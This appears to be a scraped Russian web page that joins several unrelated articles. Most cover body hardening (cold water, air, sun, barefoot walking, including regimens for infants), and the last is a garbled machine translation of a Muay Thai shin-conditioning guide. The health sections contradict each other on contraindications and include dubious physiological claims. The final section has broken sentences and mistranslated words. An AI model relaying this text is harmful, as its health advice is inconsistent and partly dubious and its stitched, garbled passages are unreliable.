Сообщение закаливание организма: Рекомендации — Нижнесортымская участковая больница

основные способы, правила закаливания и влияние на здоровье

Закаливание организма — это процедуры, задачей которых является укрепление иммунной системы организма и его подготовка к неблагоприятным условиям (жара, холод, сырость).

В результате закаливания организм может научиться лучше предотвращать возникновение заболеваний, а также лучше справляться с нагрузками и неблагоприятными условиями. И речь идёт не только о лучшей переносимости холода или плохой погоды, а ещё и об улучшении физического состояния человека. И всё это — не какая-то мелочь, а довольно серьёзные преимущества, о чём и свидетельствует тот факт, что большинство спортсменов занимаются закаливанием организма.

Однако, прежде чем лезть под холодный душ или бросаться в прорубь, необходимо внимательно изучить правила и рекомендации, поскольку данные процедуры могут быть опасны для здоровья. Особенно в том случае, если человеку противопоказано заниматься данными процедурами. Но даже если со здоровьем всё хорошо, придерживаться правил всё равно нужно, дабы не навредить себе.

Основные правила закаливания организма

• — Начинать закаливание организма необходимо лишь в том случае, если вы здоровы (и речь не только о простуде, а обо всём, вплоть до незалеченного зуба). И немедленно необходимо прекратить, если процедура вызывает у вас заметное ухудшение самочувствия.
• — Закаливание должно доставлять удовольствие, иначе о пользе речь и идти не может. Поэтому выберите тот вид процедур, который вам более приятен.
• — Уровень и время воздействия необходимо повышать постепенно, дабы не навредить организму.
• — Процедуры по закаливанию должны повторяться множество раз, желательно с некой периодичностью (а не «когда получится»). И даже когда вы почувствуете себя закалённым и здоровым, крайне нежелательно останавливаться на достигнутом.
• — Лучшего эффекта можно достичь, если применять разные по своей сути способы закаливания организма. То есть, не ограничиваться одними лишь водными процедурами, а также принимать солнечные ванны, воздушные ванны и другие методы.
• — Гораздо полезнее совмещать закаливание с активным отдыхом (играми, занятием спортом).

Основные способы закаливания организма

Закаливание воздухом (аэротерапия). Заключается данный метод закаливания организма в частых прогулках на свежем воздухе. Довольно просто, не правда ли? Просто почаще гуляйте на свежем воздухе, и всё будет хорошо. И лучше всего делать это в лесу, парке или возле водоёмов.

Закаливание Солнцем (гелиотерапия). Довольно опасный способ закаливания, хоть и очень полезный. Заключается он в том, что нужно время от времени загорать под солнечными лучами. А этим и так многие занимаются летом. Но тут важно не переусердствовать — не допускайте солнечных ожогов или тепловых ударов. И вообще будьте осторожнее, ведь солнечные ванны полезны лишь в ограниченном количестве.

Хождение босиком. Как ни странно, это также является видом закаливания, причём довольно полезным. Но стоит понимать, что ходить босиком можно либо по дому, либо по улице в тёплое время года. Не стоит доказывать силу своего духа, гуляя босиком весной или осенью, скажем, когда земля холодная.

Закаливание водой. Является одним из самых полезных видов закаливания организма. Можно выделить несколько способов:

• — Обтирание — самый щадящий метод. Просто смочите тряпку в холодной воде и обтирайте ей своё тело. Идеально подходит для новичков.
• — Обливание — быстро и просто. Вылейте на себя ведро холодной воды и сразу же разотрите тело сухим полотенцем.
• — Холодный душ — очень эффективный способ закаливания. Станьте под душ, включите тёплую воду и постепенно закручивайте кран с горячей водой. За 2-3 минуты понизьте температуру до холодной (или не очень, следите за своим самочувствием), после чего постойте немного под холодным душем. Хорошенько разотрите тело сухим полотенцем после окончания процедуры.
• — Контрастный душ — продвинутый вариант холодного душа. Заключается данный метод в том, чтобы чередовать холодный душ с горячим. Причём холодный душ нужно включать резко, после чего постепенно повышать температуру до горячей, и снова сбрасывать её до холодной. Таких повторов необходимо сделать от 3 до 5, по 30-90 секунд каждый. То есть, контрастный душ должен занять 5-10 минут, за которые вы успеете множество раз оказаться под холодной и горячей водой. Именно благодаря такой смене организм и получить огромную пользу.
• — Моржевание (или купание в холодной воде). Разумеется, не обязательно лезть в прорубь, ведь отличный эффект оказывает и купание в конце весны, и купание в начале осени. Только применять данный метод стоит лишь после консультации с врачом, ну или же если вы абсолютно уверены в своих силах. Ведь в это время года пляжи пусты и никто прийти вам на помощь в случае чего не сможет. А случиться в холодной воде может много чего неприятного.
• — Баня (сауна) — известный многим способ закаливания. Отличные результаты достигаются за счёт воздействия горячим водяным паром на тело. А ещё большего эффекта можно достичь, если чередовать высокую температуру парилки и обливание холодной водой (купание в холодном водоёме и ныряние в снег подойдут ещё лучше, но доступны не всегда).

Польза закаливания организма

• — Укрепление иммунной системы организма (лучше противостоит различным заболеваниям).
• — Терморегуляция организма и повышение его сопротивляемости неблагоприятным условиям (лучше переносит как холод, так и жару).
• — Подготовка организма к критическим ситуациям. А значит, можно надеяться на лучшее реагирование организма в экстренных ситуациях.
• — Повышение выносливости организма и работоспособности.
• — Улучшение настроения и стабилизация нервной системы. Закалённый человек становится более спокойным и сдержанным, а также лучше справляется со стрессом.
• — Укрепление духа (поскольку для закаливания необходимо научиться преодолевать неприятные ощущения, терпеть).

Заключение

Закаливание организма является довольно эффективным способом улучшения здоровья и предотвращения различных заболеваний. При этом данные процедуры не отнимают много времени и могут осуществляться каждым человеком. Необходимо лишь найти в себе желание и проявить немного упорства.

Закаливание организма | «Мир фитнеса»

Закаливание организма – это система процедур, направленных на мобилизацию внутренних сил и повышение сопротивляемости к различным неблагоприятным для здоровья внешним факторам. Такие мероприятия повышают адаптацию организма к изменчивым условиям внешней среды по принципу поддерживания оптимальной температуры внутренних органов в узкой линейке границ. Так при резком повышении или снижении температуры окружающей среды организм закаленного человека отреагирует расширением или сужением сосудов на факторы перегрева или охлаждения, повысит или ограничит теплоотдачу. В свою очередь незакаленный человек не сможет быстро адаптироваться и с большой долей вероятности может получить перегрев или переохлаждение.

Также регулярное закаливание повышает уровень выносливости человека, укрепляет его сердечно-сосудистую и нервную систему, повышает иммунитет.

Виды закаливающих процедур:

• Гелиотерапия (закаливание солнцем)
• Аэротерапия (долгие прогулки на воздухе, воздушные ванны)
• Закаливание водой (обливание, обтирание, контрастный душ, лечебное купание и моржевание)
• Хождение босиком

Рекомендации о советы:

1. Начинать закаливаться нужно на фоне полного здоровья, лучше воздержаться от начала процедур при рецидиве хорионического заболевания либо при наличии острого процесса
2. Начинать такие оздоровительные мероприятия лучше с раннего возраста, адаптируя организм постепенно к процедурам
3. Перед началом лучше обратиться к врачу и проконсультироваться о возможности и пользе закаливания
4. Принцип постепенности – один из основных. Не нужно никуда спешить. Специалисты рекомендуют вдаваться к применению контрастного душа, обливание попеременно теплой и холодной водой, а также обтиранию снегом после парной только на втором году закаливания, а начинать со щадящих процедур
5. Важно соблюдать регулярность процедур, если вы допустили большой перерыв возобновлять программу необходимо снова с начальных этапов и постепенно входить в форму. Стоит отметить, что если вы занимались закаливанием всего 2-3 месяца и затем допустили перерыв, то организм полностью утратит весь эффект от этого небольшого опыта уже за 1-1,5 месяцев и все придется начинать сначала
6. Сочетание закаливания с физическими упражнениями взаимно усилит эффективность, так что, если вы параллельно посещаете тренажерный зал, ваша результативность повысится
7. Учитывайте время года, индивидуальные особенности и состояние здоровья человека при выборе программы мероприятий
8. Закаливание дарит эффект радости и бодрости, если вы чувствуете негативный эффект, стоит прекратить процедуры и выявить причину таких последствий

Если вы хотите побольше знать о закаливании, добро пожаловать в наш фитнес-клуб «Мир Фитнеса», где не только можно посещать спортивные тренировки (фитнес, йога для начинающих, танцы, аэробика, бассейн и прочее), но и попасть на прием к врачу. В нашем центре работают терапевты, кардиологи и диетологи.

Методы закаливания – Способы и виды закаливания организма

Укрепление, т.е. закаливание — это система процедур, способствующих повышению сопротивляемости организма неблагоприятным воздействиям внешней среды.

Закаливание можно начинать в любом возрасте, но только ПОСЛЕ КОНСУЛЬТАЦИИ У ВРАЧА!

Плюсы закаливания:

• увеличивается работоспособность
• увеличивается устойчивость организма к заболеваниям (особенно простудного характера)
• улучшается самочувствие, человек лучше справляется со стрессами
• повышаются сопротивляемость и выносливость организма к меняющимся условиям внешней среды.

Основные виды закаливания:

Закаливание водой

• при закаливании холодной водой рекомендуется начинать с обтирания тела влажным полотенцем
• начинать обливаться нужно водой комнатной температуры и снижать её на 1°С в два-три дня
• в первые дни обливание начинают с нижней части тела, постепенно поднимаясь к плечам. По мере общего закаливания организма можно обливать себя всего сразу
• температура окружающего воздуха должна быть около 18°С
• при закаливании холодной водой по окончании процедуры кожа должна быть холодной, но внутри тела — ощущение тепла, которое как бы расширяется наружу, согревая всё тело
• по завершении водных процедур необходимо растереть тело руками, особенно стопы и ушные раковины (скопление биологически активных точек), а волосы вытереть полотенцем
• в теплое время года нужно купаться в открытых водоемах.

Закаливание воздухом

• рекомендуется начинать с обдувания вентилятором обнажённого тела, постепенно уменьшая расстояние до вентилятора и увеличивая длительность процедуры. Начинать с 5-10 мин. ежедневно
• помещение, в котором будет осуществляться закаливание, должно быть заранее проветренным
• продолжительность закаливания вначале должна составлять 4-5 минут, в дальнейшем может быть увеличена до получаса
• после привыкания организма, можно выходить на более холодный открытый воздух (прогулки, занятия спортом на открытом воздухе).

Ходьба босиком

• начинать нужно с 5-10 минут хождения дома в носках по полу, босиком по ковру, затем босиком по полу, температура которого 18С, постепенно увеличивая время хождения до 30-40 мин. в день
• летом можно ходить босиком по траве, влажному и сухому песку
• приучив ноги к холоду, зимой можно практиковать непродолжительные (не более 3-х минут) прогулки босиком по снегу, предварительно нужно разогреться, а после прогулки, хорошо растереть ступни ног.

Закаливание солнцем

• рекомендуемое время дня для солнечных ванн на юге 8-11 и 17-19 часов, в средней полосе России 9-13 и 16-18 часов
• обязательно наличие головного убора!
• первоначально солнечные ванны должны составлять не более 15 минут, постепенно, увеличивая длительность солнечных ванн на 5-10 минут, можно дойти до 2-3 часов, но при этом каждый час следует делать перерыв на 10-15 минут.
• не рекомендуется принимать пищу за час до и после этих процедур.

ВНИМАНИЕ! ПЕРЕД ТЕМ, КАК НАЧАТЬ ЗАКАЛИВАНИЕ ОРГАНИЗМА:

• убедитесь, что вы полностью здоровы
• скажите своему врачу о том, что хотите начать закаляться, ведь выбор метода закаливания зависит от состояния здоровья и условий жизни
• проводите закаливающие процедуры ежедневно, без длительных перерывов
• в случае болезни прекратите закаливание и проконсультируйтесь с врачом – когда вам вновь можно будет преступить к процедурам.

И помните, самое главное – позитивный настрой в работе над своим здоровьем: процедуры пойдут на пользу, и Ваш организм скажет Вам спасибо!

Закаливание детей раннего возраста

Основная цель закаливания – повышение сопротивляемости организма ребенка к неблагоприятным факторам окружающей среды. Это значительно снижает частоту заболеваний, ведь закаленным детям не страшны ни сильные ветра, ни перепады температуры, ни переохлаждение. Подготовленный организм готов дать отпор простуде! Закаливание улучшает работу внутренних органов, способствует развитию мышц, активизирует процессы обмена веществ, укрепляет нервную систему. Начинать закаливание можно уже с двухнедельного возраста после осмотра ребенка педиатром и одобрения оздоровительных процедур с его стороны. Чтобы хорошее начинание действительно принесло пользу, родители должны придерживаться ряда правил:

Закаливать малыша нужно круглый год – перерывов быть не должно, а интенсивность и продолжительность закаливающих процедур необходимо постепенно повышать.

Регулярность выполнения процедур – это залог успешного закаливания. Если же вы будете выполнять их «раз от раза», то вряд ли стоит ожидать положительных результатов.

Постарайтесь проводить все процедуры в форме игры. Эффект закаливания лишь усилится, если малышу будет нравиться этот процесс. Берите на вооружение все, что любит ваш малыш, – игрушки, стишки, песенки, картинки. Импровизируйте, чтобы крохе было весело и интересно.

Рекомендуется сочетать закаливание с массажем, так развитие ребенка будет гармоничным, а самочувствие хорошим.

Как свидетельствует медицинская статистика, дети, которых закаляют родители, имеют более крепкий иммунитет и примерно в 3,5 раза меньше болеют ОРВИ, чем их незакаленные сверстники.

Ни в коем случае не допускайте перегревания или переохлаждения ребенка во время процедур. Терморегуляция у малышей еще несовершенна, и колебания температуры тела для них – норма. Но ведь закаливание ни в коем случае не должно идти во вред! Поэтому внимательно следите за температурой воздуха и воды, не переусердствуйте с пребыванием малыша на солнце. Всегда подбирайте для ребенка подходящую по погоде одежду и обувь и защищайте его голову от солнца.

Очень хорошо, когда закаляется сразу вся семья. Во-первых, это полезно для здоровья домочадцев, а во-вторых, вы послужите прекрасным примером для своего ребенка.

Закаливающие мероприятия подразделяются на общие и специальные.

Общие включают правильный режим дня, рациональное питание, занятия физкультурой.

К специальным закаливающим процедурам относятся:

• закаливание воздухом (воздушные ванны),
• закаливание солнцем (солнечные ванны),
• закаливание водой (водные процедуры).

Итак, начнем с самого простого вида закаливания – свежим воздухом. К нему относят проветривание комнаты, воздушные ванны во время пеленания и прогулки. Самой первой процедурой для малышей является проветривание. Груднички тратят очень много энергии и потребляют большое количество кислорода, поэтому постоянное поступление свежего воздуха крайне необходимо для хорошего самочувствия. Проветривать комнату, в которой находится ребенок, необходимо в любое время года. Летом окно или форточка должны быть открыты постоянно, а зимой комнату проветривают пять раз в день. Причем малыша не нужно уносить из комнаты на время проветривания, достаточно просто укрыть его одеяльцем. Исключение составляет сквозное проветривание. Оптимальная температура воздуха в комнате, где находится малыш, – 20–22 °С.

Еще один вид закаливания – воздушные ванны во время пеленания. Со здоровым ребенком такую процедуру можно проводить уже в роддоме. Суть ее заключается в том, что крохе дают полежать на животе на пеленальном столике во время пеленания и смены подгузников. Вначале продолжительность этой процедуры составляет 1–2 минуты, но постепенно, раз в неделю, можно прибавлять по 2 минуты. Таким образом, в полгода малыш будет наслаждаться воздушными ваннами уже по полчаса. Очень хорошо одновременно с этим делать с малышом легкую гимнастику.

Прогулки в уютной коляске на улице – это не только приятное, но и закаливающее мероприятие. Малышей, родившихся летом, выносить на полчаса на улицу можно сразу после выписки из роддома. Если же ребенок появился на свет в более прохладное время года, то «пропуском» на прогулку будет служить столбик термометра. Грудничка можно выносить на улицу только, если температура опустилась не ниже –5 °С. Продолжительность такой прогулки составляет 15–20 минут. Детишки в возрасте 3 месяцев и старше уже неплохо переносят мороз и в –10 °С. А тем малышам, кто пересек возрастной рубеж в полгода, уже нестрашно, если столбик термометра показывает –15 °С. Главное, помните о том, что закаливание – это укрепление здоровья, а не нанесение ему вреда. Малышу должно быть тепло и уютно, он ни в коем случае не должен замерзать!

Солнечные ванны

Пребывание на солнце повышает защитные силы организма, дает ребенку заряд бодрости и энергию. Однако следует помнить о том, что малыши до года слишком чувствительны к ультрафиолету, поэтому ванны под прямыми солнечными лучами им строго противопоказаны. Им подходит только пребывание в рассеянных солнечных лучах. С года до трех лет солнечные процедуры проводят осторожно и дозированно, и только дети старше трех лет могут понемногу загорать на солнышке. Летом солнечные процедуры рекомендуется принимать с 9 до 12 часов, а на юге с 8 до 10 утра.

Противопоказанием является температура воздуха +30 °С и выше.

Осенью, весной и зимой лучи солнца более рассеянные, чем летом, поэтому они очень полезны малышу.

Закаливание водой считается одним из наиболее эффективных методов закаливания. Виды водных процедур и методика закаливания напрямую зависят от возраста малыша.

Если ребенку до 3 месяцев

Обтирание отдельных частей тела ребенка – ручек и ножек – салфеткой или рукавичкой, смоченной в воде, в течение примерно двух минут. Изначально температура воды должна быть 37 °С, а затем каждую неделю ее нужно снижать на один градус, пока столбик термометра не достигнет отметки 28 °С. Обтирание выполняется в такой последовательности: сначала ручки малыша от кистей до плечиков, а затем ножки – от ступней до коленок.

Умывание личика малыша в течение 2 минут. Изначально температура воды должна быть 28 °С, а затем каждые 2 дня ее необходимо снижать на один градус, постепенно доведя до 20 °С.

Ежедневная ванна с температурой воды 37 °С в течение 5 минут, после которой малыша обливают водой более низкой температуры – 35 °С.

Если малышу от 3 до 10 месяцев

Ежедневная ванна с температурой воды 37 °С, после которой малыша обливают чуть более прохладной водой (35 °С) из ковшика и затем вытирают тело.

Общее влажное обтирание тела малыша рукавичкой, предварительно смоченной в прохладной соленой воде (содержание соли – 8 чайных ложек на один литр воды). Обтирание выполняется в такой последовательности: ручки, ножки, грудь и спинка. В конце процедуры малыша следует насухо вытереть полотенцем.

Умывание личика ребенка водой с постепенным уменьшением ее температуры (1 раз в 2 дня) с 28 °С до 20 °С.

Если ребенку от 10 месяцев до года

Ежедневная ванна, как и в предыдущих возрастных группах, после которой ребенка обливают из ковшика водой более низкой температуры(35°С).

Влажное обтирание ручек, ножек, грудки и спинки прохладной соленой водой.

Обливание: малыш сидит или стоит в ванне, а мама или папа поливают его сильной струей душа в такой последовательности – спинка, грудь, животик и ручки.

Температура воды изначально составляет 37°С, а затем каждую неделю ее нужно уменьшать примерно на один градус, пока она не достигнет 28°С.

Возраст ребенка от 1 года до 3 лет

В этом возрасте можно использовать общие обтирания со снижением температуры воды до 24°С, общие обливания, с температурой воды до 24-28°С. С 1,5 лет можно применять душ, который оказывает более сильное воздействие, чем обливание, так как, кроме температуры воды, здесь включается еще и механическое влияние. Длительность процедуры 1,5 мин.

Роль закаливания в нашей жизни

О центре —

Учимся быть здоровыми

Обновлено
08.06.2018


08.06.2018

Автор: Manager

Здоровый образ жизни — это рациональное питание, занятие спортом, отказ от алкоголя и курения и многое другое. Важную роль играет и закаливание.      

Закаливание – это, прежде всего, умелое использование совершенных, созданных тысячелетней эволюцией физиологических механизмов защиты и адаптации организма. Оно позволяет использовать скрытые возможности организма, мобилизовать в нужный момент защитные силы и тем самым устранить опасное влияние неблагоприятных факторов внешней среды.

Закаливающие мероприятия подразделяются на общие и специальные:

— Общие мероприятия включают в себя правильный режим дня, рациональное питание, занятия физкультурой.

— К специальным закаливающим процедурам относятся закаливания воздухом (воздушные ванны), солнцем (солнечные ванны) и водой (водные процедуры).

Закаливание – обязательный элемент физического воспитания, особенно важный для молодежи, так как имеет большое значение для укрепления здоровья, увеличения работоспособности, улучшения самочувствия, настроения и бодрости. Закаливание, как фактор повышения сопротивляемости организма к различным метеорологическим условиям, использовалось с древних времен.

Известный русский педиатр, активный сторонник закаливания Г. Н. Сперанский, рассматривал закаливание как воспитание в организме способности быстро и правильно приспосабливаться к меняющимся внешним условиям. Любое совершенствование – это длительная тренировка. Следовательно, закаливание – это своеобразная тренировка защитных сил организма, подготовка их к своевременной мобилизации.

Закаливание не лечит, а предупреждает болезнь, и в этом его важнейшая профилактическая роль. Закаленный человек легко переносит не только жару и холод, но и резкие перемены внешней температуры, которые способны ослабить защитные силы организма.

Главное же заключается в том, что закаливание приемлемо для любого человека, им могут заниматься люди любых возрастов независимо от степени физического развития. Закаливание повышает работоспособность и выносливость организма. Закаливающие процедуры нормализуют состояние эмоциональной сферы, делают человека более сдержанным, уравновешенным, они придают бодрость, улучшают настроение. Как считают йоги, закаливание приводит к слиянию организма с природой.

Медицинских отводов от закаливания нет, только острые лихорадочные заболевания. Глубоко ошибочно мнение, что закаливающие процедуры противопоказаны ослабленным людям.

Необходимо соблюдать ряд правил:

• Систематическое использование закаливающих процедур во все времена года, без перерывов.
• Постепенное увеличение дозы раздражающего действия.
• Учет возрастных и индивидуальных особенностей организма человека.
• Все закаливающие процедуры должны проводиться на фоне положительных эмоций.

Нарушение этих правил приводит к отсутствию положительного эффекта от закаливающих процедур, а иногда и к гиперактивации нейроэндокринной системы и последующему ее истощению.

Эффективность действия закаливающих процедур значительно повышается, если их сочетать с выполнением спортивных упражнений. При этом важно добиваться, чтобы спортивные нагрузки на организм были разнообразными, а их величина различной.

Закаляйтесь! И будьте здоровы!

Заведующая терапевтическим отделением КДЦ № 1
Ирина Анатольевна Синицина

польза для организма и здоровья

Польза закаливания для сосудов

Рассмотрим процесс на примере традиционной зимней забавы – купания в проруби. Перед тем, как погружаться, человек должен разогреть свой организм, расширить сосуды тела. Для этого можно использовать любой вид разминки: бег, простые физические упражнения и так далее.

После того, как тело достаточно разогреется, можно погружаться в прорубь – холодная вода заставляет сосуды сжиматься. Но после того, как водные процедуры будут окончены, организм нужно снова как следует разогреть, чтобы сосуды опять расширились.

Смена температур для сосудов – как своеобразная гимнастика. Такие «упражнения» их тонизируют и укрепляют, а значит, помогают предотвратить сосудистые заболевания, считающиеся одной из главных причин смертности населения.

Получается, что общая идея закаливания – укрепление сосудов, причем вовсе не обязательно заниматься именно моржеванием. Схожий эффект дают и другие процедуры – например, грамотно проведенное обливание или обтирания, контрастный душ, чередование сеансов в бане и погружений в холодную воду и так далее.

Почему закаливание укрепляет иммунитет

Закаливание укрепляет сосуды благодаря перепаду температур, но на иммунную систему человека оно действует немного по-другому.

Ледяная вода – это стресс как для организма, так и для психики. Но этот стресс длится недолго, и именно в его кратковременности и заключается польза закаливания. Морж терпит воздействие холода (в большей или меньшей степени, в зависимости от стажа), и это запускает в его организме цепь гормональных реакций.

Гипоталамус транслирует информацию о стрессе в гипофиз, а тот реагирует на нее выделением определенных гормонов. Самые важные из этого набора – тестостерон и соматотропин. И тот, и другой выделяется как у мужчин, так и у женщин, разница состоит лишь в объемах. Гормон тестостерон стимулирует костный мозг – главный орган нашей иммунной системы. Соматотропин оказывает оздоровительное воздействие на сердце и сосуды.

То есть ледяная вода в этом случае играет роль катализатора, который помогает запускать нужные процессы в организме. А оздоравливают организм наши собственные внутренние гормоны, которые выделяются в микродозах (сотые грамма).

Получается, что польза холода – именно в том, что он вгоняет организм в стресс. Если бы обливаться ледяной водой или купаться в проруби было приятно, закаливание не давало бы таких потрясающих результатов в оздоровлении организма. Помните, что каждый раз, когда вам приходится немного перетерпеть неприятные ощущения, вызванные контактом с холодной водой, вы делаете это во благо своего здоровья.

Как начать?

Если мы вас убедили, начинайте постепенно – например, с обтирания влажными полотенцами. Этот способ считается наиболее щадящим, и именно его используют при закаливании малышей.

Тем, кто решил начать с обливаний, рекомендуем начинать с конечностей, а потом постепенно переходить на все остальное тело. Не забудьте сделать небольшую зарядку до и как следует растереть себя полотенцем после процедуры. Также можно практиковать контрастный душ – этот простой и доступный всем без исключения способ довольно быстро дает неплохие результаты.

Во время закаливания важно следить за своим физическим состоянием. Если в день процедуры вы плохо спали, потеряли аппетит, неважно себя чувствовали – лучше перенесите сеанс на другое время. И не пренебрегайте солнечными и воздушными ваннами – они помогут усилить пользу закаливания и улучшат ваше настроение.

Значение и механизмы закаливания организма | Биология. Реферат, доклад, сообщение, краткое содержание, лекция, шпаргалка, конспект, ГДЗ, тест

Тема:

Современные условия жизни, одежда, транспорт уменьшили влияние естественных факто­ров на организм человека, поэтому снизилась его сопротивляемость к их изме­нениям. И только закаливание даёт возможность быстро приспосабливаться к низкой или высокой температуре воздуха, сниженной или повышенной влаж­ности.

Закаливание — это комплекс методов целенаправленного повышения функциональных резервов организма и его сопротивляемости неблагопри­ятному воздействию физических факторов окружающей среды, влияние ко­торых постоянно усиливается.

При таких условиях развиваются приспособительные изменения в орга­низме — адаптация (с латин. приспособление) — усовершенствование нейрогуморальных и обменных процессов, повышение иммунитета, а следовательно — общей сопротивляемости организма. Закаливание проявляется постепенным снижением чувствительности организма к действию определённого фактора. Например, систематическое действие низких температур повышает сопротивляе­мость организма преимущественно к холоду, а высоких — к избыточному теплу.

Если прекратить проведение процедур закаливания, оно ослабевает.

Важной для здоровья человека является адаптация к холоду, поскольку переохлаждение — самая частая причина простудных заболеваний. Суть за­каливания заключается в постепенном наращивании степени охлаждения организма. У людей, привычных к холоду, теплообразование происходит ин­тенсивнее. Это обеспечивает лучшее кровоснабжение кожи и повышенную сопротивляемость инфекционным заболеваниям. Материал с сайта http://worldofschool.ru

Закаливание детей — обязательная составляющая физического воспита­ния, залог крепкого здоровья на всю жизнь. Система теплорегуляции в дет­ском организме несовершенна, и поэтому дети более восприимчивы к дей­ствию холода, чаще болеют простудными заболеваниями. Дети, которые растут и имеют усиленный (по сравнению со взрослыми людьми) обмен веществ, очень чувствительны к недостатку кислорода. Недостаточное пребы­вание на свежем воздухе делает детей вялыми, раздражительными, у них нарушается сон, исчезает аппетит, появляется головная боль, развивается ма­локровие. Поэтому закаливания воздухом и водой для детского организма — обязательны. Для роста костей необходим витамин D, кото­рый образуется в коже под воздействием солнечных лучей. Следовательно, для детей является важным и закаливание солнцем.

Самые распространённые методы закаливания — воздухом, водой (обтира­ние, обливание, душ) и солнцем.

На этой странице материал по темам:

• Краткое сообщение о закаливании организма

• Докажите что закаливание

• Доклад о закаливании организма кратко биология

• Закаливание организма сообщение кратко

• Закаливание организма сообщение по биологии

Вопросы по этому материалу:

• Проанализируйте биологическое значение закаливания организма и его физиологические механизмы.

• Назовите факторы закаливания.

• Почему закаливание организма должно быть систе­матическим, многократным и с нарастающей интенсивностью.

  

• Докажите, что закаливание ребёнка является обязательной составляющей его физического воспитания.

• Почему закаливание организма низкой температурой является чрезвычайно важным?

• Объясните высказывание: «Воздух, солнце и вода — на­ши лучшие друзья».

6 советов по кондиционированию голени для тайского бокса

Автор: Шон Фэган

Мы все слышали о методах кондиционирования голени, состоящих в ударах по металлическим шестам или использовании скалок, чтобы превратить голени в кровавую массу, но, прежде чем выйти на улицу и сломать большеберцовую кость, вы, возможно, захотите рассмотреть другие варианты, когда дело доходит до упрочнения. твои голени.

Моя цель здесь — просто сохранить реальность.

Я знаю, что вам нужны твердые голени, способные бросать бейсбольные биты после пары дней тренировок, но это всего лишь , а НЕ .

Приведенные ниже советы и методы кондиционирования голени муай-тай не являются чем-то особенным или супер-хардкорным, но они определенно являются лучшими и наиболее эффективными способами превратить ваши голени в кирпичи (не говоря уже о том, что они также безопаснее, чем пытаться сбить ногу ногой). красное дерево).

1. Будьте терпеливыми, настойчивыми и стойкими

Я знаю, о чем вы думаете —

«Правда, Шон? Это ваш лучший совет №1 по кондиционированию голени? »

К сожалению, да, это так.

Хотите верьте, хотите нет, не существует ночного волшебного зелья , которое можно выпить, которое поможет вам развить твердые и прочные голени. Невозможно избежать неизбежной боли, вызванной ударами голени о локоть соперника или проверкой вашего удара ногой во время интенсивного спарринга. Невозможно, чтобы ваши голени были такими твердыми, как у Буакава, даже после постоянных тренировок в течение более года.

Извини, что сломал тебе это, но твои голени какое-то время будут болеть, и тебе придется к этому привыкнуть.

Черт, я тренировался более 7 лет и провел более 25 боев, и я до сих пор передергиваю при мысли о том, чтобы проверить свои удары ногами. Хотя мои голени определенно укрепились с тех пор, как я впервые начал тренироваться, я все еще пытаюсь укрепить их с помощью остальных методов и приемов, которые я объясню ниже по списку. Но прежде чем читать остальные советы, убедитесь, что вы понимаете следующее:

Чтобы получить твердые голени, потребуется МНОГО времени и МНОГО тренировок.Развитие терпеливого, настойчивого и стойкого мышления будет ключом к борьбе с первоначальной болью и дискомфортом, которые вы неизбежно почувствуете, когда впервые начнете пинать ногу. Теперь, когда я получил этот первый совет, мы можем перейти к физическим упражнениям, которые помогут укрепить ваши голени.

2. Пинайте тяжелую сумку… МНОГО !!!

ИЗОБРАЖЕНИЕ АДАМА КРОУТЕРА ИЗ WWW. ADAMCROWTHERPHOTOGRAPHY.CO.UK

Придерживание основных методов тренировки, таких как удар по тяжелой сумке, имеет решающее значение для тренировки голеней.

Требуется время и безумное количество ударов ногами, чтобы ваши голени кальцинировались и затвердевали, но, в конце концов, оно того стоит, когда вы сможете наносить сильные удары ногами по телу, которые ломают ребра вашим противникам. Не говоря уже о том, что использование тяжелого мешка также улучшит вашу технику и физическую форму!

Если вы относительно новичок в обучении тайскому боксу, то начать с обычного тяжелого мешка подойдет. Выполнение не менее 100 ударов ногой каждой ногой во время каждой тренировки должно быть обязательной частью вашего распорядка, но если вы чувствуете, что можете сделать больше, делайте больше!

После вашей серии ударов ногами у вас, вероятно, появится какое-то ощущение покалывания — это хорошо! Со временем нервы в ваших голенях начнут ослабевать, и через несколько месяцев боль станет не такой невыносимой. Не говоря уже о том, что вы также будете создавать микротрещины на голенях, которые восстановятся и вернутся еще сильнее, чем раньше.

Даже если вы опытный боец, тренировка с тяжелым мешком по-прежнему очень важна, и ее нельзя упускать из виду. Если вы чувствуете, что ваши голени в какой-то степени подготовлены, и вы хотите добавить большей плотности тяжелой сумке, чтобы действительно начать тестирование голеней, попробуйте добавить в сумку больше одежды, тряпок или порезанных внутренних трубок.

3.Лонжерон… МНОГО !!!

Что может быть лучше для тренировки голеней, чем проверка на лице партнера по тренировке ?! Если серьезно, то спарринг является (или должен быть) основной частью тренировочного режима любого Нак Муай, особенно если они планируют выйти на ринг и драться. Есть два типа спарринга, которые следует учитывать при попытке улучшить физическую форму голени

a) Спарринг с включенной экипировкой — Если вы уже спарринговали раньше и проверяли или блокировали удар локтем, то вы знаете, что это сука больно даже с толстыми щитками на голени. К сожалению, нет другого способа избежать этой боли, кроме как повторять ее снова и снова, пока ваши голени не привыкнут к ней. Даже после того, как вы проделаете это много раз, это все равно будет больно, но, надеюсь, не так сильно.

Помимо спаррингов вольным стилем, когда вы просто двигаетесь со своим партнером без каких-либо определенных планов, это также хорошая идея для отработки определенных комбинаций сетов. Комбинации бросков, которые включают в себя проверку ударов ногами или блокировку высоких ударов, помогут не только подготовить ваши голени, но также помогут вам рассчитать время, дистанцироваться и технику.

б) Спарринг без снаряжения — Подождите, мы должны проводить спарринг без снаряжения? Да, черт возьми!

Под «спаррингом» я не подразумеваю, что нужно идти так усердно, как если бы на вас был полный доспех. Я имею в виду игриво передвигаться со своим партнером по тренировке в спокойной технической манере, чтобы вы могли работать над своими комбинациями, а также не беспокоиться о том, чтобы свернуться от боли из-за неудачного удара ногой. Этот тип спарринга очень распространен в Таиланде, и вы увидите, как тайцы проводят его, даже когда они не в тренажерном зале.

4. Берегите голени!

После тяжелых тренировок, когда вы обнаруживаете, что шатаетесь из-за того, что ваши голени сильно разбиты, не думайте, что они выздоравливают сами по себе.

Да, они рано или поздно заживают, но если вы хотите ускорить процесс заживления, чтобы снова начать пинать дерьмо (и, в свою очередь, укрепить голени еще больше), то вам нужно знать, как заботиться о них. твои голени!

Сильви из 8 конечностей.мы создали отличное видео о том, как лечить шишки на голенях. Смотрите. Запомни это. Используй это!

В этой статье она также подробно рассказывает о том, как лечить узлы на голенях.

5. Поднимать и опускать вещи

Чтобы поддерживать ноги сильнее, ваши кости тоже должны укрепляться. Выполнение упражнений по поднятию тяжестей, таких как тяжелые приседания, выпады, чистки, прыжки на ящик и подъемы на скамейку, — отличный способ не только улучшить плотность костей, но и повысить общую силу, взрывную способность и равновесие.

